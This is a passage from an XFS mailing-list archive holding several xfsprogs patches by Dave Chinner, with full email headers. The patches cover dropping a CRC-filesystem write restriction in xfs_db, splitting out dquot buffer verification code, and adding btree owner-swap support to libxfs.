first time. Signed-off-by: Dave Chinner --- db/init.c | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/db/init.c b/db/init.c index b1cddca..a9b357b 100644 --- a/db/init.c +++ b/db/init.c @@ -143,21 +143,6 @@ init( exit(EXIT_FAILURE); } - /* - * Don't allow modifications to CRC enabled filesystems until we support - * CRC recalculation in the IO path. Unless, of course, the user is in - * the process of hitting us with a big hammer. - */ - if (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_5 && - !(x.isreadonly & LIBXFS_ISREADONLY)) { - fprintf(stderr, - _("%s: modifications to %s are not supported in thi version.\n" - "Use \"-r\" to run %s in read-only mode on this filesystem .\n"), - progname, fsdevice, progname); - if (!force) - exit(EXIT_FAILURE); - } - mp = libxfs_mount(&xmount, sbp, x.ddev, x.logdev, x.rtdev, LIBXFS_MOUNT_ROOTINOS | LIBXFS_MOUNT_DEBUGGER); if (!mp) { -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E59197F99 for ; Sun, 29 Sep 2013 22:16:01 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 94C48AC002 for ; Sun, 29 Sep 2013 20:16:01 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id GeEBjEQGTOAyvkuX for ; Sun, 29 Sep 2013 20:15:59 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMjgYUhWADqXiDNiqBLAEf Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:51 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Os-0p for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Fo-05 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 10/32] xfs: split dquot buffer operations out Date: Mon, 30 Sep 2013 13:15:22 +1000 X-ASG-Orig-Subj: [PATCH 10/32] xfs: split dquot buffer operations out Message-Id: <1380510944-8571-11-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510959 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Parts of userspace want to be able to read and modify dquot buffers (e.g. xfs_db) so we need to split out the reading and writing of these buffers so it is easy to shared code with libxfs in userspace. Signed-off-by: Dave Chinner --- include/libxfs.h | 9 ++ libxfs/Makefile | 1 + libxfs/xfs_dquot_buf.c | 273 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 283 insertions(+) create mode 100644 libxfs/xfs_dquot_buf.c diff --git a/include/libxfs.h b/include/libxfs.h index 835ba37..f10ab59 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -216,6 +216,15 @@ typedef struct xfs_mount { xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ xfs_dablk_t m_dirleafblk; /* blockno of dir non-data v2 */ xfs_dablk_t m_dirfreeblk; /* blockno of dirfreeindex v2 */ + + /* + * anonymous struct to allow xfs_dquot_buf.c to compile. + * Pointer is always null in userspace, so code does not use it at all + */ + struct { + int qi_dqperchunk; + } *m_quotainfo; + } xfs_mount_t; /* diff --git a/libxfs/Makefile b/libxfs/Makefile index f0cbae3..4522218 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -29,6 +29,7 @@ CFILES = cache.c \ xfs_dir2_leaf.c \ xfs_dir2_node.c \ xfs_dir2_sf.c \ + xfs_dquot_buf.c \ xfs_ialloc.c \ xfs_inode_buf.c \ xfs_inode_fork.c \ diff --git a/libxfs/xfs_dquot_buf.c b/libxfs/xfs_dquot_buf.c new file mode 100644 index 0000000..620d9d3 --- /dev/null +++ b/libxfs/xfs_dquot_buf.c @@ -0,0 +1,273 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" + +int +xfs_calc_dquots_per_chunk( + struct xfs_mount *mp, + unsigned int nbblks) /* basic block units */ +{ + unsigned int ndquots; + + ASSERT(nbblks > 0); + ndquots = BBTOB(nbblks); + do_div(ndquots, sizeof(xfs_dqblk_t)); + + return ndquots; +} + +/* + * Do some primitive error checking on ondisk dquot data structures. + */ +int +xfs_dqcheck( + struct xfs_mount *mp, + xfs_disk_dquot_t *ddq, + xfs_dqid_t id, + uint type, /* used only when IO_dorepair is true */ + uint flags, + char *str) +{ + xfs_dqblk_t *d = (xfs_dqblk_t *)ddq; + int errs = 0; + + /* + * We can encounter an uninitialized dquot buffer for 2 reasons: + * 1. If we crash while deleting the quotainode(s), and those blks got + * used for user data. This is because we take the path of regular + * file deletion; however, the size field of quotainodes is never + * updated, so all the tricks that we play in itruncate_finish + * don't quite matter. + * + * 2. We don't play the quota buffers when there's a quotaoff logitem. + * But the allocation will be replayed so we'll end up with an + * uninitialized quota block. + * + * This is all fine; things are still consistent, and we haven't lost + * any quota information. Just don't complain about bad dquot blks. + */ + if (ddq->d_magic != cpu_to_be16(XFS_DQUOT_MAGIC)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, magic 0x%x != 0x%x", + str, id, be16_to_cpu(ddq->d_magic), XFS_DQUOT_MAGIC); + errs++; + } + if (ddq->d_version != XFS_DQUOT_VERSION) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, version 0x%x != 0x%x", + str, id, ddq->d_version, XFS_DQUOT_VERSION); + errs++; + } + + if (ddq->d_flags != XFS_DQ_USER && + ddq->d_flags != XFS_DQ_PROJ && + ddq->d_flags != XFS_DQ_GROUP) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : XFS dquot ID 0x%x, unknown flags 0x%x", + str, id, ddq->d_flags); + errs++; + } + + if (id != -1 && id != be32_to_cpu(ddq->d_id)) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : ondisk-dquot 0x%p, ID mismatch: " + "0x%x expected, found id 0x%x", + str, ddq, id, be32_to_cpu(ddq->d_id)); + errs++; + } + + if (!errs && ddq->d_id) { + if (ddq->d_blk_softlimit && + be64_to_cpu(ddq->d_bcount) > + be64_to_cpu(ddq->d_blk_softlimit)) { + if (!ddq->d_btimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) BLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_ino_softlimit && + be64_to_cpu(ddq->d_icount) > + be64_to_cpu(ddq->d_ino_softlimit)) { + if (!ddq->d_itimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) INODE TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + if (ddq->d_rtb_softlimit && + be64_to_cpu(ddq->d_rtbcount) > + be64_to_cpu(ddq->d_rtb_softlimit)) { + if (!ddq->d_rtbtimer) { + if (flags & XFS_QMOPT_DOWARN) + xfs_alert(mp, + "%s : Dquot ID 0x%x (0x%p) RTBLK TIMER NOT STARTED", + str, (int)be32_to_cpu(ddq->d_id), ddq); + errs++; + } + } + } + + if (!errs || !(flags & XFS_QMOPT_DQREPAIR)) + return errs; + + if (flags & XFS_QMOPT_DOWARN) + xfs_notice(mp, "Re-initializing dquot ID 0x%x", id); + + /* + * Typically, a repair is only requested by quotacheck. + */ + ASSERT(id != -1); + ASSERT(flags & XFS_QMOPT_DQREPAIR); + memset(d, 0, sizeof(xfs_dqblk_t)); + + d->dd_diskdq.d_magic = cpu_to_be16(XFS_DQUOT_MAGIC); + d->dd_diskdq.d_version = XFS_DQUOT_VERSION; + d->dd_diskdq.d_flags = type; + d->dd_diskdq.d_id = cpu_to_be32(id); + + if (xfs_sb_version_hascrc(&mp->m_sb)) { + uuid_copy(&d->dd_uuid, &mp->m_sb.sb_uuid); + xfs_update_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF); + } + + return errs; +} + +STATIC bool +xfs_dquot_buf_verify_crc( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + int ndquots; + int i; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return true; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, + XFS_BB_TO_FSB(mp, bp->b_length)); + + for (i = 0; i < ndquots; i++, d++) { + if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), + XFS_DQUOT_CRC_OFF)) + return false; + if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) + return false; + } + return true; +} + +STATIC bool +xfs_dquot_buf_verify( + struct xfs_mount *mp, + struct xfs_buf *bp) +{ + struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; + xfs_dqid_t id = 0; + int ndquots; + int i; + + /* + * if we are in log recovery, the quota subsystem has not been + * initialised so we have no quotainfo structure. In that case, we need + * to manually calculate the number of dquots in the buffer. + */ + if (mp->m_quotainfo) + ndquots = mp->m_quotainfo->qi_dqperchunk; + else + ndquots = xfs_calc_dquots_per_chunk(mp, bp->b_length); + + /* + * On the first read of the buffer, verify that each dquot is valid. + * We don't know what the id of the dquot is supposed to be, just that + * they should be increasing monotonically within the buffer. If the + * first id is corrupt, then it will fail on the second dquot in the + * buffer so corruptions could point to the wrong dquot in this case. + */ + for (i = 0; i < ndquots; i++) { + struct xfs_disk_dquot *ddq; + int error; + + ddq = &d[i].dd_diskdq; + + if (i == 0) + id = be32_to_cpu(ddq->d_id); + + error = xfs_dqcheck(mp, ddq, id + i, 0, XFS_QMOPT_DOWARN, + "xfs_dquot_buf_verify"); + if (error) + return false; + } + return true; +} + +static void +xfs_dquot_buf_read_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + } +} + +/* + * we don't calculate the CRC here as that is done when the dquot is flushed to + * the buffer after the update is done. This ensures that the dquot in the + * buffer always has an up-to-date CRC value. + */ +void +xfs_dquot_buf_write_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + + if (!xfs_dquot_buf_verify(mp, bp)) { + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +} + +const struct xfs_buf_ops xfs_dquot_buf_ops = { + .verify_read = xfs_dquot_buf_read_verify, + .verify_write = xfs_dquot_buf_write_verify, +}; + -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E59F7F9C for ; Sun, 29 Sep 2013 22:16:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E929A8F8035 for ; Sun, 29 Sep 2013 20:16:02 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OFicPMV7lMm0CY5i for ; Sun, 29 Sep 2013 20:16:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNiqBLiQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:52 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Ow-2h for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002G3-21 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/32] libxfs: bmap btree owner swap support Date: Mon, 30 Sep 2013 13:15:25 +1000 X-ASG-Orig-Subj: [PATCH 13/32] libxfs: bmap btree owner swap support Message-Id: <1380510944-8571-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510960 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner For CRC enabled filesystems, we can't just swap inode forks from one inode to another when defragmenting a file - the blocks in the inode fork bmap btree contain pointers back to the owner inode. Hence if we are to swap the inode forks we have to atomically modify every block in the btree during the transaction. This patch brings across the kernel code for doing the owner swap of an entire fork - something that we are likely to end up needing in xfs_repair when reparenting stray inodes to lost+found - without all the associated swap extents transaction and recovery cruft as those parts are not needed in userspace. Signed-off-by: Dave Chinner --- include/xfs_bmap_btree.h | 4 ++ include/xfs_btree.h | 19 ++++-- include/xfs_inode_buf.h | 18 ++--- include/xfs_log_format.h | 8 ++- libxfs/xfs_bmap_btree.c | 44 ++++++++++++ libxfs/xfs_btree.c | 170 ++++++++++++++++++++++++++++++++++++++++++----- 6 files changed, 227 insertions(+), 36 deletions(-) diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index 2379d33..6e42e1e 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -133,6 +133,10 @@ extern int xfs_bmbt_get_maxrecs(struct xfs_btree_cur *, int level); extern int xfs_bmdr_maxrecs(struct xfs_mount *, int blocklen, int leaf); extern int xfs_bmbt_maxrecs(struct xfs_mount *, int blocklen, int leaf); +extern int xfs_bmbt_change_owner(struct xfs_trans *tp, struct xfs_inode *ip, + int whichfork, xfs_ino_t new_owner, + struct list_head *buffer_list); + extern struct xfs_btree_cur *xfs_bmbt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_inode *, int); diff --git a/include/xfs_btree.h b/include/xfs_btree.h index 227bfa5..6afe0b2 100644 --- a/include/xfs_btree.h +++ b/include/xfs_btree.h @@ -41,15 +41,18 @@ extern kmem_zone_t *xfs_btree_cur_zone; /* * For logging record fields. */ -#define XFS_BB_MAGIC 0x01 -#define XFS_BB_LEVEL 0x02 -#define XFS_BB_NUMRECS 0x04 -#define XFS_BB_LEFTSIB 0x08 -#define XFS_BB_RIGHTSIB 0x10 -#define XFS_BB_BLKNO 0x20 +#define XFS_BB_MAGIC (1 << 0) +#define XFS_BB_LEVEL (1 << 1) +#define XFS_BB_NUMRECS (1 << 2) +#define XFS_BB_LEFTSIB (1 << 3) +#define XFS_BB_RIGHTSIB (1 << 4) +#define XFS_BB_BLKNO (1 << 5) +#define XFS_BB_LSN (1 << 6) +#define XFS_BB_UUID (1 << 7) +#define XFS_BB_OWNER (1 << 8) #define XFS_BB_NUM_BITS 5 #define XFS_BB_ALL_BITS ((1 << XFS_BB_NUM_BITS) - 1) -#define XFS_BB_NUM_BITS_CRC 8 +#define XFS_BB_NUM_BITS_CRC 9 #define XFS_BB_ALL_BITS_CRC ((1 << XFS_BB_NUM_BITS_CRC) - 1) /* @@ -381,6 +384,8 @@ int xfs_btree_new_iroot(struct xfs_btree_cur *, int *, int *); int xfs_btree_insert(struct xfs_btree_cur *, int *); int xfs_btree_delete(struct xfs_btree_cur *, int *); int xfs_btree_get_rec(struct xfs_btree_cur *, union xfs_btree_rec **, int *); +int xfs_btree_change_owner(struct xfs_btree_cur *cur, __uint64_t new_owner, + struct list_head *buffer_list); /* * btree block CRC helpers diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h index e8fd3bd..9308c47 100644 --- a/include/xfs_inode_buf.h +++ b/include/xfs_inode_buf.h @@ -32,17 +32,17 @@ struct xfs_imap { ushort im_boffset; /* inode offset in block in bytes */ }; -int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, - struct xfs_imap *, struct xfs_dinode **, - struct xfs_buf **, uint, uint); -int xfs_iread(struct xfs_mount *, struct xfs_trans *, - struct xfs_inode *, uint); -void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); -void xfs_dinode_to_disk(struct xfs_dinode *, - struct xfs_icdinode *); +int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, + struct xfs_imap *, struct xfs_dinode **, + struct xfs_buf **, uint, uint); +int xfs_iread(struct xfs_mount *, struct xfs_trans *, + struct xfs_inode *, uint); +void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); +void xfs_dinode_to_disk(struct xfs_dinode *to, struct xfs_icdinode *from); +void xfs_dinode_from_disk(struct xfs_icdinode *to, struct xfs_dinode *from); #if defined(DEBUG) -void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); +void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #else #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index aeaa715..f0969c7 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -302,6 +302,8 @@ typedef struct xfs_inode_log_format_64 { #define XFS_ILOG_ADATA 0x040 /* log i_af.if_data */ #define XFS_ILOG_AEXT 0x080 /* log i_af.if_extents */ #define XFS_ILOG_ABROOT 0x100 /* log i_af.i_broot */ +#define XFS_ILOG_DOWNER 0x200 /* change the data fork owner on replay */ +#define XFS_ILOG_AOWNER 0x400 /* change the attr fork owner on replay */ /* @@ -315,7 +317,8 @@ typedef struct xfs_inode_log_format_64 { #define XFS_ILOG_NONCORE (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ XFS_ILOG_DBROOT | XFS_ILOG_DEV | \ XFS_ILOG_UUID | XFS_ILOG_ADATA | \ - XFS_ILOG_AEXT | XFS_ILOG_ABROOT) + XFS_ILOG_AEXT | XFS_ILOG_ABROOT | \ + XFS_ILOG_DOWNER | XFS_ILOG_AOWNER) #define XFS_ILOG_DFORK (XFS_ILOG_DDATA | XFS_ILOG_DEXT | \ XFS_ILOG_DBROOT) @@ -327,7 +330,8 @@ typedef struct xfs_inode_log_format_64 { XFS_ILOG_DEXT | XFS_ILOG_DBROOT | \ XFS_ILOG_DEV | XFS_ILOG_UUID | \ XFS_ILOG_ADATA | XFS_ILOG_AEXT | \ - XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP) + XFS_ILOG_ABROOT | XFS_ILOG_TIMESTAMP | \ + XFS_ILOG_DOWNER | XFS_ILOG_AOWNER) static inline int xfs_ilog_fbroot(int w) { diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index bf214cf..2f6b48a 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -999,3 +999,47 @@ xfs_bmdr_maxrecs( return blocklen / sizeof(xfs_bmdr_rec_t); return blocklen / (sizeof(xfs_bmdr_key_t) + sizeof(xfs_bmdr_ptr_t)); } + +/* + * Change the owner of a btree format fork fo the inode passed in. Change it to + * the owner of that is passed in so that we can change owners before or after + * we switch forks between inodes. The operation that the caller is doing will + * determine whether is needs to change owner before or after the switch. + * + * For demand paged transactional modification, the fork switch should be done + * after reading in all the blocks, modifying them and pinning them in the + * transaction. For modification when the buffers are already pinned in memory, + * the fork switch can be done before changing the owner as we won't need to + * validate the owner until the btree buffers are unpinned and writes can occur + * again. + * + * For recovery based ownership change, there is no transactional context and + * so a buffer list must be supplied so that we can record the buffers that we + * modified for the caller to issue IO on. + */ +int +xfs_bmbt_change_owner( + struct xfs_trans *tp, + struct xfs_inode *ip, + int whichfork, + xfs_ino_t new_owner, + struct list_head *buffer_list) +{ + struct xfs_btree_cur *cur; + int error; + + ASSERT(tp || buffer_list); + ASSERT(!(tp && buffer_list)); + if (whichfork == XFS_DATA_FORK) + ASSERT(ip->i_d.di_format == XFS_DINODE_FMT_BTREE); + else + ASSERT(ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE); + + cur = xfs_bmbt_init_cursor(ip->i_mount, tp, ip, whichfork); + if (!cur) + return ENOMEM; + + error = xfs_btree_change_owner(cur, new_owner, buffer_list); + xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + return error; +} diff --git a/libxfs/xfs_btree.c b/libxfs/xfs_btree.c index ce149ad..2dd6fb7 100644 --- a/libxfs/xfs_btree.c +++ b/libxfs/xfs_btree.c @@ -837,6 +837,41 @@ xfs_btree_readahead( return xfs_btree_readahead_sblock(cur, lr, block); } +STATIC xfs_daddr_t +xfs_btree_ptr_to_daddr( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { + ASSERT(ptr->l != cpu_to_be64(NULLDFSBNO)); + + return XFS_FSB_TO_DADDR(cur->bc_mp, be64_to_cpu(ptr->l)); + } else { + ASSERT(cur->bc_private.a.agno != NULLAGNUMBER); + ASSERT(ptr->s != cpu_to_be32(NULLAGBLOCK)); + + return XFS_AGB_TO_DADDR(cur->bc_mp, cur->bc_private.a.agno, + be32_to_cpu(ptr->s)); + } +} + +/* + * Readahead @count btree blocks at the given @ptr location. + * + * We don't need to care about long or short form btrees here as we have a + * method of converting the ptr directly to a daddr available to us. + */ +STATIC void +xfs_btree_readahead_ptr( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr, + xfs_extlen_t count) +{ + xfs_buf_readahead(cur->bc_mp->m_ddev_targp, + xfs_btree_ptr_to_daddr(cur, ptr), + cur->bc_mp->m_bsize * count, cur->bc_ops->buf_ops); +} + /* * Set the buffer for level "lev" in the cursor to bp, releasing * any previous buffer. @@ -1055,24 +1090,6 @@ xfs_btree_buf_to_ptr( } } -STATIC xfs_daddr_t -xfs_btree_ptr_to_daddr( - struct xfs_btree_cur *cur, - union xfs_btree_ptr *ptr) -{ - if (cur->bc_flags & XFS_BTREE_LONG_PTRS) { - ASSERT(ptr->l != cpu_to_be64(NULLDFSBNO)); - - return XFS_FSB_TO_DADDR(cur->bc_mp, be64_to_cpu(ptr->l)); - } else { - ASSERT(cur->bc_private.a.agno != NULLAGNUMBER); - ASSERT(ptr->s != cpu_to_be32(NULLAGBLOCK)); - - return XFS_AGB_TO_DADDR(cur->bc_mp, cur->bc_private.a.agno, - be32_to_cpu(ptr->s)); - } -} - STATIC void xfs_btree_set_refs( struct xfs_btree_cur *cur, @@ -3851,3 +3868,120 @@ xfs_btree_get_rec( *stat = 1; return 0; } + +/* + * Change the owner of a btree. + * + * The mechanism we use here is ordered buffer logging. Because we don't know + * how many buffers were are going to need to modify, we don't really want to + * have to make transaction reservations for the worst case of every buffer in a + * full size btree as that may be more space that we can fit in the log.... + * + * We do the btree walk in the most optimal manner possible - we have sibling + * pointers so we can just walk all the blocks on each level from left to right + * in a single pass, and then move to the next level and do the same. We can + * also do readahead on the sibling pointers to get IO moving more quickly, + * though for slow disks this is unlikely to make much difference to performance + * as the amount of CPU work we have to do before moving to the next block is + * relatively small. + * + * For each btree block that we load, modify the owner appropriately, set the + * buffer as an ordered buffer and log it appropriately. We need to ensure that + * we mark the region we change dirty so that if the buffer is relogged in + * a subsequent transaction the changes we make here as an ordered buffer are + * correctly relogged in that transaction. If we are in recovery context, then + * just queue the modified buffer as delayed write buffer so the transaction + * recovery completion writes the changes to disk. + */ +static int +xfs_btree_block_change_owner( + struct xfs_btree_cur *cur, + int level, + __uint64_t new_owner, + struct list_head *buffer_list) +{ + struct xfs_btree_block *block; + struct xfs_buf *bp; + union xfs_btree_ptr rptr; + + /* do right sibling readahead */ + xfs_btree_readahead(cur, level, XFS_BTCUR_RIGHTRA); + + /* modify the owner */ + block = xfs_btree_get_block(cur, level, &bp); + if (cur->bc_flags & XFS_BTREE_LONG_PTRS) + block->bb_u.l.bb_owner = cpu_to_be64(new_owner); + else + block->bb_u.s.bb_owner = cpu_to_be32(new_owner); + + /* + * If the block is a root block hosted in an inode, we might not have a + * buffer pointer here and we shouldn't attempt to log the change as the + * information is already held in the inode and discarded when the root + * block is formatted into the on-disk inode fork. We still change it, + * though, so everything is consistent in memory. + */ + if (bp) { + if (cur->bc_tp) { + xfs_trans_ordered_buf(cur->bc_tp, bp); + xfs_btree_log_block(cur, bp, XFS_BB_OWNER); + } else { + xfs_buf_delwri_queue(bp, buffer_list); + } + } else { + ASSERT(cur->bc_flags & XFS_BTREE_ROOT_IN_INODE); + ASSERT(level == cur->bc_nlevels - 1); + } + + /* now read rh sibling block for next iteration */ + xfs_btree_get_sibling(cur, block, &rptr, XFS_BB_RIGHTSIB); + if (xfs_btree_ptr_is_null(cur, &rptr)) + return ENOENT; + + return xfs_btree_lookup_get_block(cur, level, &rptr, &block); +} + +int +xfs_btree_change_owner( + struct xfs_btree_cur *cur, + __uint64_t new_owner, + struct list_head *buffer_list) +{ + union xfs_btree_ptr lptr; + int level; + struct xfs_btree_block *block = NULL; + int error = 0; + + cur->bc_ops->init_ptr_from_cur(cur, &lptr); + + /* for each level */ + for (level = cur->bc_nlevels - 1; level >= 0; level--) { + /* grab the left hand block */ + error = xfs_btree_lookup_get_block(cur, level, &lptr, &block); + if (error) + return error; + + /* readahead the left most block for the next level down */ + if (level > 0) { + union xfs_btree_ptr *ptr; + + ptr = xfs_btree_ptr_addr(cur, 1, block); + xfs_btree_readahead_ptr(cur, ptr, 1); + + /* save for the next iteration of the loop */ + lptr = *ptr; + } + + /* for each buffer in the level */ + do { + error = xfs_btree_block_change_owner(cur, level, + new_owner, + buffer_list); + } while (!error); + + if (error != ENOENT) + return error; + } + + return 0; +} -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 